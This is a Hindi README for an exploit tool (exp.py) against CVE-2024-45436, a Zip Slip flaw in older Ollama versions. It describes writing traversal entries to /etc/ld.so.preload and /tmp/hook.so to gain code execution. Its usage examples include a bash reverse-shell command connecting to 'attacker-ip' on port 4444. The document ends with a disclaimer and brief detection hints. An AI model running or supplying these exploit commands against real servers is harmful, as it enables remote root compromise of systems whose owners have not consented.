
CVE-2024-45436 के लिए एक्सप्लॉइट स्क्रिप्ट
Ollama ZIP ट्रैवर्सल भेद्यता (CVE-2024-45436) के लिए एक साफ और कुशल शोषण कार्यान्वयन। 中文文档:README_CN.md
CVE-2024-45436 Ollama के संस्करण 0.1.47 से पहले के संस्करणों में एक पथ ट्रैवर्सल भेद्यता (जिसे "Zip Slip" भी कहा जाता है) है। यह भेद्यता हमलावरों को ZIP फ़ाइल निष्कर्षण संचालन के दौरान पथों के अनुचित सत्यापन का फायदा उठाकर फ़ाइलसिस्टम पर मनमाने स्थानों पर फ़ाइलें लिखने की अनुमति देती है।
दोष Ollama की model.go फ़ाइल में extractFromZipFile फ़ंक्शन में मौजूद है, जो मॉडल फ़ाइलों को निकालता है। जब किसी ZIP फ़ाइल में निर्देशिका ट्रैवर्सल अनुक्रम (../) वाले पथों वाली प्रविष्टियाँ होती हैं, तो Ollama इन फ़ाइलों को इच्छित निर्देशिका के बाहर निकालता है, जिससे संभावित रूप से हमलावर महत्वपूर्ण सिस्टम फ़ाइलों को अधिलेखित कर सकता है।
यह शोषण निम्नलिखित दृष्टिकोण के माध्यम से भेद्यता का लाभ उठाता है:
hook.so) बनाता है../../../../../../../../../../etc/ld.so.preload - कस्टम साझा ऑब्जेक्ट को प्रीलोड करने के लिए उपयोग किया जाता है../../../../../../../../../../tmp/hook.so - दुर्भावनापूर्ण साझा ऑब्जेक्ट स्वयंजब सफलतापूर्वक निष्पादित होता है, तो पेलोड Ollama सेवा के समान अनुमतियों के साथ चलता है, संभावित रूप से रूट के रूप में रिमोट कोड निष्पादन प्रदान करता है।
python exp.py <target_url> <command>
target_url: कमजोर Ollama उदाहरण का URL (जैसे, http://example.com:11434)command: लक्ष्य प्रणाली पर निष्पादित करने का आदेश--no-cleanup: शोषण के बाद अस्थायी फ़ाइलों को न हटाएं (डिबगिंग के लिए उपयोगी)मूल उपयोग:
python exp.py http://target-server:11434 "id > /tmp/pwned"
रिवर्स शेल:
python exp.py http://target-server:11434 "bash -c 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1'"
यह उपकरण केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है। स्पष्ट अनुमति के बिना प्रणालियों के विरुद्ध अनधिकृत उपयोग अवैध और अनैतिक है। लेखक इस सॉफ़्टवेयर के दुरुपयोग के लिए कोई जिम्मेदारी नहीं लेता है।
संगठन यह पता लगा सकते हैं कि वे कमजोर हैं या नहीं:
/api/version के साथ अपने Ollama संस्करण की जाँच करके/etc/ld.so.preload या /tmp/hook.so में अप्रत्याशित फ़ाइलों की तलाश करकेभेद्यता Ollama की ZIP फ़ाइल निकालने की प्रक्रिया में अनुचित पथ सत्यापन का फायदा उठाती है। जब API के माध्यम से एक मॉडल लोड किया जाता है, तो एप्लिकेशन फ़ाइल पथों को ठीक से साफ किए बिना ZIP संग्रह से फ़ाइलें निकालता है, जिससे निर्देशिका ट्रैवर्सल हमलों की अनुमति मिलती है।
ld.so.preload फ़ाइल Linux में उन साझा लाइब्रेरीज़ को निर्दिष्ट करने के लिए उपयोग की जाती है जिन्हें अन्य सभी से पहले लोड किया जाना चाहिए। इस फ़ाइल में लिखकर, हमलावर यह सुनिश्चित कर सकता है कि उनकी दुर्भावनापूर्ण लाइब्रेरी किसी भी नई प्रक्रिया द्वारा लोड की जाए, जिससे प्रोग्राम निष्पादन प्रभावी रूप से हाइजैक हो जाता है।
यह परियोजना MIT लाइसेंस के तहत लाइसेंस प्राप्त है - विवरण के लिए LICENSE फ़ाइल देखें।